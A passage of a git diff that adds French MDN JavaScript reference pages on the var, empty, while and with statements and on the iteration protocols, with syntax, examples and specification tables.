+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.2', 'instruction var')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-variable-statement', 'instruction de variable')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.var")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/let","let")}}</li>
+ <li>{{jsxref("Instructions/const","const")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/vide/index.html b/files/fr/web/javascript/reference/instructions/vide/index.html
new file mode 100644
index 0000000000..de3761892a
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/vide/index.html
@@ -0,0 +1,108 @@
+---
+title: vide
+slug: Web/JavaScript/Reference/Instructions/Vide
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Une <strong>instruction vide</strong> est utilisée pour ne fournir aucune instruction là où JavaScript en attendrait une.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-empty.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">;
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'instruction vide est représentée par un point-virgule (;) qui indique qu'il n'y a aucune instruction à exécuter, même si JavaScript requiert une instruction à cet emplacement. Le comportement réciproque, où on souhaite exécuter plusieurs instructions là où JavaScript en attend une est possible grâce <a href="/fr/docs/JavaScript/Reference/Instructions/block">à l'instruction bloc</a> qui permet de combiner plusieurs instructions en une seule.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'instruction vide peut être utilisée dans les boucles. Par exemple, ici on a un corps de boucle totalement vide :</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+// Affecter 0 pour toutes les valeurs du tableau
+for (i = 0; i &lt; arr.length; arr[i++] = 0) /* instruction vide */ ;
+
+console.log(arr)
+// [0, 0, 0]
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Cela peut être raisonnable que de commenter l'utilisation d'une instruction vide pour la rendre visible et l'expliciter. Par exemple, dans le code qui suit, le point-virgule ne semble pas intentionnel :</p>
+</div>
+
+<pre class="brush: js">if (condition);  // Attention, ce "if" ne fait rien !
+   finDuMonde()  // Cette méthode est donc toujours lancée !!!
+</pre>
+
+<p>Un autre exemple avec une instruction {{jsxref("Instructions/if...else")}} sans accolade (<code>{}</code>). Si <code>trois</code> vaut <code>true</code>, rien ne sera exécuté, peu importera la valeur de <code>quatre</code>, la fonction <code>chargerFusée()</code> ne sera pas exécutée.</p>
+
+<pre class="brush: js">if (un)
+  faire1èreEtape();
+else if (deux)
+  faire4èmeEtape();
+else if (trois)
+  ; // rien ici
+else if (quatre)
+  faire4èmeEtape();
+else
+  chargerFusée();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Instruction vide')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-empty-statement', 'instruction vide')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.3', 'instruction vide')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.3', 'instruction vide')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.3', 'instruction vide')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.empty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/block", "L'instruction de bloc","",1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/while/index.html b/files/fr/web/javascript/reference/instructions/while/index.html
new file mode 100644
index 0000000000..b04851c347
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/while/index.html
@@ -0,0 +1,102 @@
+---
+title: while
+slug: Web/JavaScript/Reference/Instructions/while
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <code><strong>while</strong></code> permet de créer une boucle qui s'exécute tant qu'une condition de test est vérifiée. La condition est évaluée avant d'exécuter l'instruction contenue dans la boucle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-while.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">while (<var>condition</var>) instruction</pre>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>Une expression qui est évaluée avant chaque passage dans la boucle. Si cette expression est évaluée à vrai, <code>instruction</code> est exécutée. Lorsque la condition n'est pas vérifiée, l'exécution se poursuit avec l'instruction qui suit la boucle <code>while</code>.</dd>
+ <dt><code>instruction</code></dt>
+ <dd>Une instruction optionnelle qui doit être exécutée tant que la condition d'entrée est vérifiée. Afin d'exécuter plusieurs instructions au sein de la boucle, on utilisera généralement un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} (<code>{ ... }</code>) pour les regrouper.<br>
+ Note : on pourra utiliser l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/break">break</a></code> afin d'arrêter une boucle avant que la condition soit vérifiée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La boucle <code>while</code> qui suit s'exécute tant que <code>n</code> est strictement inférieur à 3.</p>
+
+<pre class="brush:js">var n = 0;
+var x = 0;
+
+while (n &lt; 3) {
+  n++;
+  x += n;
+}</pre>
+
+<p>À chaque itération, la boucle incrémente la valeur de <code>n</code> et l'ajoute à <code>x</code>. Ainsi, <code>x</code> et <code>n</code> prennent les valeurs suivantes :</p>
+
+<ul>
+ <li>Après la première itération : <code>n</code> = 1 et <code>x</code> = 1</li>
+ <li>Après la deuxième itération : <code>n</code> = 2 et <code>x</code> = 3</li>
+ <li>Après la troisième itération : <code>n</code> = 3 et <code>x</code> = 6</li>
+</ul>
+
+<p>Une fois que la troisième itération est exécutée, la condition <code>n</code> &lt; 3 n'est plus vérifiée et donc la boucle se termine.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-while-statement', 'while statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.2', 'while statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.2', 'while statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.1', 'while statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.while")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/do...while","do...while")}}</li>
+ <li>{{jsxref("Instructions/for", "for")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/with/index.html b/files/fr/web/javascript/reference/instructions/with/index.html
new file mode 100644
index 0000000000..8eec25496e
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/with/index.html
@@ -0,0 +1,135 @@
+---
+title: with
+slug: Web/JavaScript/Reference/Instructions/with
+tags:
+  - Déprécié
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/with
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div class="warning">Il n'est pas recommandé d'utiliser l'instruction <code>with</code>. En effet, elle est parfois source de problèmes de compatibilité ou de bogues. Se référer au paragraphe « Inconvénient : l'ambiguïté » de la section « Description » pour plus de détails.</div>
+
+<p>L'instruction <strong><code>with</code></strong> permet d'étendre la portée chaînée d'une instruction.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">with (expression) {
+  instruction
+}
+</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>L'expression fournie est ajoutée à la portée chaînée utilisée lors de l'évaluation de l'instruction. Les parenthèses sont obligatoires.</dd>
+ <dt><code>instruction</code></dt>
+ <dd>N'importe quelle instruction. Afin d'utiliser plusieurs instructions, on peut utiliser un bloc d'instructions ({ ... }) pour les regrouper.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Dès qu'un nom non-qualifié est utilisé, JavaScript cherche dans la chaîne des portées associée à l'exécution une fonction ou un script qui contiendrait ce nom. L'instruction <code>with</code> ajoute l'objet donné à la tête de la chaîne des portées lors de l'évaluation des instructions qu'elle contient. Si un nom non-qualifié est utilisé parmi ces instructions correspond à une propriété de la chaîne des portées, le nom sera alors lié à la propriété et à l'objet contenant cette propriété, sinon une erreur <code>ReferenceError</code> est renvoyée.</p>
+
+<div class="note">L'utilisation de l'instruction <code>with</code> n'est pas recommandée et est interdite dans le <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> d'ECMAScript 5. L'alternative recommandée est d'assigner l'objet utilisant les propriétés désirées à une variable temporaire.</div>
+
+<h3 id="Avantages_et_inconvénients_les_performances">Avantages et inconvénients : les performances</h3>
+
+<ul>
+ <li><strong>Avantage :</strong> l'instruction <code>with</code> permet de réduire la taille d'un fichier en réduisant la répétition d'un objet dont la dénomination est longue, et ce sans qu'il y ait d'impact sur les performances. Le changement apporté à la chaîne des portées ne représente pas un ajout de complexité important. Utiliser l'instruction de <code>with</code> soulagera l'interpréteur lors de l'analyses des références objets potentiellement longues. On notera que l'alternative présentée ci-dessus permet également d'aboutir à ces avantages.</li>
+ <li><strong>Inconvénient :</strong> en utilisant <code>with</code>, l'objet spécifié sera utilisé à chaque fois en premier lors de la recherche des noms. Ainsi, tous les identifiants qui ne sont pas des membres de l'objet donné à l'instruction seront trouvés plus lentement. Quand il s'agit d'obtenir de bonnes performances, l'instruction <code>with</code> devrait seulement être utilisée pour englober des fragments de codes où il n'y a que des accès à des membres de l'objet spécifié.</li>
+</ul>
+
+<h3 id="Inconvénient_l'ambiguïté">Inconvénient : l'ambiguïté</h3>
+
+<ul>
+ <li><strong>Inconvénient :</strong> l'instruction <code>with</code> peut rendre plus compliquée, que ce soit pour un humain ou un compilateur, la recherche d'un nom non-qualifié le long de la chaîne des portées. Ainsi, avec cet exemple :
+
+  <pre class="brush: js">function f(x, o) {
+  with (o)
+    console.log(x);
+}</pre>
+
+  <p>ce n'est que quand <code>f</code> est appelée que <code>x</code> est trouvé ou non, s'il est trouvé à partir de <code>o</code> ou (si o n'a pas de telle propriété) dans l'objet d'activation de <code>f </code>où <code>x</code> représente le premier argument de la fonction. Si <code>x</code> n'est pas défini dans l'objet passé en second argument, il n'y aura pas d'erreur renvoyée, juste des résultats imprévus.</p>
+ </li>
+ <li><strong>Inconvénient :</strong> Du code utilisant l'instruction <code>with</code> pourrait ne pas être compatible dans le futur, en particulier lorsqu'il est utilisé avec autre chose qu'un objet simple. Par exemple :
+  <div>
+  <pre class="brush:js">function f(toto, values) {
+  with (toto) {
+    console.log(values)
+  }
+}
+</pre>
+
+  <p>Si vous appelez <code>f([1,2,3], obj)</code> dans un environnement ECMAScript 5, la référence à <code>values</code> à l'intérieur de l'instruction <code>with</code> sera liée avec <code>obj</code>. Cependant, ECMAScript 2015 (ES6) a introduit une propriété <code>values</code> pour {{jsxref("Array.prototype")}} (afin qu'elle soit disponible pour chaque tableau). Dans un environnement ECMAScript 2015, la référence à <code>values</code> utilisée à l'intérieur de l'instruction <code>with</code> sera résolue avec <code>[1,2,3].values</code>.</p>
+  </div>
+ </li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_with">Utiliser <code>with</code></h3>
+
+<p>L'instruction <code>with</code> suivante indique que l'objet {{jsxref("Math")}} est l'objet par défaut. Les instructions qui suivent font référence à la propriété {{jsxref("Math.PI")}} et aux méthodes {{jsxref("Math.cos()")}} et {{jsxref("Math.sin()")}}, sans objet spécifié. JavaScript utilise donc l'objet <code>Math</code> pour ces références.</p>
+
+<pre class="brush:js">var a, x, y;
+var r = 10;
+
+with (Math) {
+  a = PI * r * r;
+  x = r * cos(PI);
+  y = r * sin(PI / 2);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-with-statement', 'with statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-with-statement', 'Instruction with')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.10', 'Instruction with')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Désormais interdit en mode strict.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.10', 'Instruction with')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.10', 'Instruction with')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.with")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/bloc", "Bloc d'instructions","",1)}}</li>
+ <li>{{jsxref("Strict_mode","Mode strict","",1)}}</li>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+ <li>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/les_protocoles_iteration/index.html b/files/fr/web/javascript/reference/les_protocoles_iteration/index.html
new file mode 100644
index 0000000000..26a89a63e8
--- /dev/null
+++ b/files/fr/web/javascript/reference/les_protocoles_iteration/index.html
@@ -0,0 +1,353 @@
+---
+title: Les protocoles d'itération
+slug: Web/JavaScript/Reference/Les_protocoles_iteration
+tags:
+  - ECMAScript 2015
+  - Intermédiaire
+  - Iterator
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Iteration_protocols
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>Un des ajouts à ECMAScript 2015 (ES6) n'est ni une nouvelle syntaxe ni un nouvel objet natif mais des protocoles. Ces protocoles peuvent être implémentés par n'importe quel objet qui respecte certaines conventions.</p>
+
+<p>Il existe deux protocoles concernant l'itération : <a href="#itérable">le protocole « itérable »</a> et <a href="#itérateur">le protocole « itérateur »</a>.</p>
+
+<h2 id="Le_protocole_«_itérable_»"><a name="itérable">Le protocole « itérable »</a></h2>
+
+<p>Le protocole «<strong> itérable</strong> » permet aux objets JavaScript de définir ou de personnaliser leur comportement lors d'une itération, par exemple la façon dont les valeurs seront parcourues avec une boucle {{jsxref("Instructions/for...of", "for..of")}}. Certains types natifs tels que {{jsxref("Array")}} ou {{jsxref("Map")}} possèdent un comportement itératif par défaut, d'autres types, comme {{jsxref("Object")}} n'ont pas ce type de comportement.</p>
+
+<p>Afin d'être <strong>itérable</strong>, un objet doit implémenter la méthode <code><strong>@@iterator</strong></code>, cela signifie que l'objet (ou un des objets de <a href="/fr/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">sa chaîne de prototypes</a>) doit avoir une propriété avec une clé <strong><code>@@iterator</code></strong> qui est accessible via {{jsxref("Symbol.iterator")}} :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Valeur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>[Symbol.iterator]</code></td>
+   <td>Une fonction sans argument qui renvoie un objet conforme au <a href="#itérateur">protocole itérateur</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Lorsqu'on doit itérer sur un objet (ex. : au début d'une boucle <code>for..of</code>), sa méthode <code>@@iterator</code> est appelée sans argument et l'<strong>itérateur</strong> qui est renvoyé est utilisé afin d'obtenir les valeurs sur lesquelles itérer.</p>
+
+<h2 id="Le_protocole_«_itérateur_»"><a name="itérateur">Le protocole « itérateur »</a></h2>
+
+<p>Le protocole « <strong>itérateur</strong> » définit une façon standard pour produire une suite de valeurs (finie ou infinie) ainsi qu'une valeur de retour lorsque toutes les valeurs ont été générées.</p>
+
+<p>Un objet est considéré comme un itérateur lorsqu'il implémente une méthode <code><strong>next()</strong></code> avec la sémantique suivante :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Valeur</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>
+    <p>Une fonction sans argument qui renvoie un objet qui possède au moins deux propriétés :</p>
+
+    <ul>
+     <li><code>done</code> (un booléen)
+
+      <ul>
+       <li>Qui vaut <code>true</code> lorsque l'itérateur a fini la suite. Dans ce cas, la propriété <code>value</code> sera facultative et permettra de spécifier la valeur de retour de l'itérateur. Les valeurs de retour sont détaillées <a href="https://www.2ality.com/2013/06/iterators-generators.html#generators-as-threads">ici</a>.</li>
+       <li>Qui vaut <code>false</code> lorsque l'itérateur a pu produire la prochaine valeur de la suite. Si on ne définit pas la propriété <code>done</code>, on aura ce comportement par défaut.</li>
+      </ul>
+     </li>
+     <li><code>value</code> : n'importe quelle valeur JavaScript, renvoyée par l'itérateur. Cette propriété peut être absente lorsque <code>done</code> vaut <code>true</code>.</li>
+    </ul>
+
+    <p>La méthode <code>next</code> doit toujours renvoyer un objet contenant les propriétés <code>done</code> et <code>value</code>. Si c'est une valeur primitive qui est renvoyée (ex. <code>false</code> ou <code>undefined</code>), une exception {{jsxref("TypeError")}} sera levée ("iterator.next() returned a non-object value").</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Certains itérateurs sont des itérables :</p>
+
+<pre class="brush: js">var unTableau = [1, 5, 7];
+var élémentsDuTableau = unTableau.entries();
+
+élémentsDuTableau.toString();    // "[object Array Iterator]"
+élémentsDuTableau === élémentsDuTableau[Symbol.iterator]();    // true
+</pre>
+
+<h2 id="Exemples_d'utilisation_des_protocoles_d'itération">Exemples d'utilisation des protocoles d'itération</h2>
+
+<p>Une {{jsxref("String")}} est un exemple d'objet natif itérable :</p>
+
+<pre class="brush: js">var uneChaîne = "coucou";
+typeof uneChaîne[Symbol.iterator];           // "function"
+</pre>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/@@iterator">L'itérateur par défaut d'un objet <code>String</code></a> renverra les caractères de la chaîne les uns à la suite des autres :</p>
+
+<pre class="brush: js">var itérateur = uneChaîne[Symbol.iterator]();
+itérateur + "";     // "[object String Iterator]"
+
+itérateur.next();  // { value: "c", done: false }
+itérateur.next();  // { value: "o", done: false }
+itérateur.next();  // { value: "u", done: false }
+itérateur.next();  // { value: "c", done: false }
+itérateur.next();  // { value: "o", done: false }
+itérateur.next();  // { value: "u", done: false }
+itérateur.next();  // { value: undefined, done: true }</pre>
+
+<p>Certains éléments natifs du langage, tels que <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateur_de_décomposition">la syntaxe de décomposition</a>, utilisent ce même protocole :</p>
+
+<pre class="brush: js">[...uneChaîne];   // ["c", "o", "u", "c", "o", "u"]</pre>
+
+<p>Il est possible de redéfinir le comportement par défaut en définissant soi-même le symbole <code>@@iterator</code> :</p>
+
+<pre class="brush: js">var uneChaîne = new String("yo");          // on construit un objet String explicitement afin d'éviter la conversion automatique
+
+uneChaîne[Symbol.iterator] = function() {
+  return { // l'objet itérateur qui renvoie un seul élément, la chaîne "bop"
+    next: function() {
+      if (this._first) {
+        this._first = false;
+        return { value: "bop", done: false };
+      } else {
+        return { done: true };
+      }
+    },
+    _first: true
+  };
+};
+</pre>
+
+<p>On notera que redéfinir le symbole <code>@@iterator</code> affecte également le comportement des éléments du langage qui utilisent le protocole :</p>
+
+<pre class="brush: js">[...uneChaîne];  // ["bop"]
+uneChaîne + "";  // "yo"
+</pre>
+
+<h2 id="Exemples_d'itérables">Exemples d'itérables</h2>
+
+<h3 id="Les_itérables_natifs">Les itérables natifs</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} et {{jsxref("Set")}} sont des itérables natifs car leurs prototypes possèdent une méthode <code>@@iterator</code>.</p>
+
+<h3 id="Les_itérables_définis_par_l'utilisateur">Les itérables définis par l'utilisateur</h3>
+
+<p>Il est possible de construire un itérable dans un script de la façon suivante :</p>
+
+<pre class="brush: js">var monItérable = {};
+monItérable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...monItérable]; // [1, 2, 3]
+</pre>
+
+<h3 id="Les_API_natives_utilisant_des_itérables">Les API natives utilisant des itérables</h3>
+
+<p>Plusieurs API utilisent les itérables, par exemple : {{jsxref("Map", "Map([itérable])")}}, {{jsxref("WeakMap", "WeakMap([itérable])")}}, {{jsxref("Set", "Set([itérable])")}} et {{jsxref("WeakSet", "WeakSet([itérable])")}} :</p>
+
+<pre class="brush: js">var monObjet = {};
+new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2);  // "b"
+new WeakMap([[{},"a"],[monObjet,"b"],[{},"c"]]).get(monObjet); // "b"
+new Set([1, 2, 3]).has(3);    // true
+new Set("123").has("2");      // true
+new WeakSet(function*() {
+    yield {};
+    yield monObjet;
+    yield {};
+}()).has(monObjet);           // true
+</pre>
+
+<p>ainsi que {{jsxref("Promise.all", "Promise.all(itérable)")}}, {{jsxref("Promise.race", "Promise.race(itérable)")}}, {{jsxref("Array.from", "Array.from()")}}</p>
+
+<h3 id="Les_éléments_de_syntaxe_utilisant_des_itérables">Les éléments de syntaxe utilisant des itérables</h3>
+
+<p>Certains éléments du langage utilisent des itérables, par exemple : <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for..of</a></code>, <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateur_de_d%C3%A9composition">la syntaxe de décomposition</a>, <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/yield*">yield*</a>, <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Affecter_par_d%C3%A9composition">l'affectation par décomposition</a> :</p>
+
+<pre class="brush: js">for(let value of ["a", "b", "c"]){
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"]; // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"];
+}
+
+gen().next(); // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"]);
+a; // "a"
+
+</pre>
+
+<h3 id="Itérables_mal-formés">Itérables mal-formés</h3>
+
+<p>Si une méthode <code>@@iterator</code> d'un objet itérable ne renvoie pas d'objet itérateur, on dira que cet objet est un itérable mal-formé. Utiliser de tels itérables peut provoquer des exceptions lors de l'exécution ou un comportement erratique :</p>
+
+<pre class="brush: js">var itérableMalFormé = {}
+itérableMalFormé[Symbol.iterator] = () =&gt; 1
+[...itérableMalFormé] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Exemples_d'itérateurs">Exemples d'itérateurs</h2>
+
+<h3 id="Un_itérateur_simple">Un itérateur simple</h3>
+
+<pre class="brush: js">function créerItérateur(tableau){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           return nextIndex &lt; tableau.length ?
+               {value: tableau[nextIndex++], done: false} :
+               {done: true};
+       }
+    }
+}
+
+var it = créerItérateur(['yo', 'ya']);
+
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true
+</pre>
+
+<h3 id="Un_itérateur_infini">Un itérateur infini</h3>
+
+<pre class="brush: js">function créateurID(){
+    var index = 0;
+
+    return {
+       next: function(){
+           return {value: index++, done: false};
+       }
+    };
+}
+
+var it = créateurID();
+
+console.log(it.next().value); // '0'
+console.log(it.next().value); // '1'
+console.log(it.next().value); // '2'
+// ...
+</pre>
+
+<h3 id="Avec_un_générateur">Avec un générateur</h3>
+
+<pre class="brush: js">function* créerUnGénérateurSimple(tableau){
+    var nextIndex = 0;
+
+    while(nextIndex &lt; tableau.length){
+        yield tableau[nextIndex++];
+    }
+}
+
+var gen = créerUnGénérateurSimple(['yo', 'ya']);
+
+console.log(gen.next().value); // 'yo'
+console.log(gen.next().value); // 'ya'
+console.log(gen.next().done);  // true
+
+function* créateurID(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = créateurID();
+
+console.log(gen.next().value); // '0'
+console.log(gen.next().value); // '1'
+console.log(gen.next().value); // '2'
+</pre>
+
+<h3 id="Avec_une_classe_ECMAScript_2015_(ES6)">Avec une classe ECMAScript 2015 (ES6)</h3>
+
+<pre class="brush: js">class ClasseSimple {
+  constructor(data) {
+    this.index = 0;
+    this.data = data;
+  }
+
+  [Symbol.iterator]() {
+    return {
+      next: () =&gt; {
+        if (this.index &lt; this.data.length) {
+          return {value: this.data[this.index++], done: false};
+        } else {
+          this.index = 0;
+          // En réinitialisant l'index, on peut
+          // "reprendre" l'itérateure sans avoir
+          // à gérer de mise à jour manuelle
+          return {done: true};
+        }
+      }
+    };
+  }
+}
+
+const simple = new ClasseSimple([1,2,3,4,5]);
+
+for (const val of simple) {
+  console.log(val);  // '1' '2' '3' '4' '5'
+}
+</pre>
+
+<h2 id="Un_générateur_est-il_un_itérateur_ou_un_itérable">Un générateur est-il un itérateur ou un itérable ?</h2>
+
+<p>Les deux réponses sont correctes :</p>
+
+<pre class="brush: js">var unObjetGénérateur = function*(){
+    yield 1;
+    yield 2;
+    yield 3;
+}()
+typeof unObjetGénérateur.next
+// "function", car il possède une fonction next, c'est donc un itérateur
+typeof unObjetGénérateur[Symbol.iterator]
+// "function", car il possède une méthode @@iterator, c'est donc un itérable
+unObjetGénérateur[Symbol.iterator]() === unObjetGénérateur
+// vrai car la méthode @@iterator renvoie elle-même, un itérateur, c'est donc un itérable bien formé
+[...unObjetGénérateur]
+// [1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
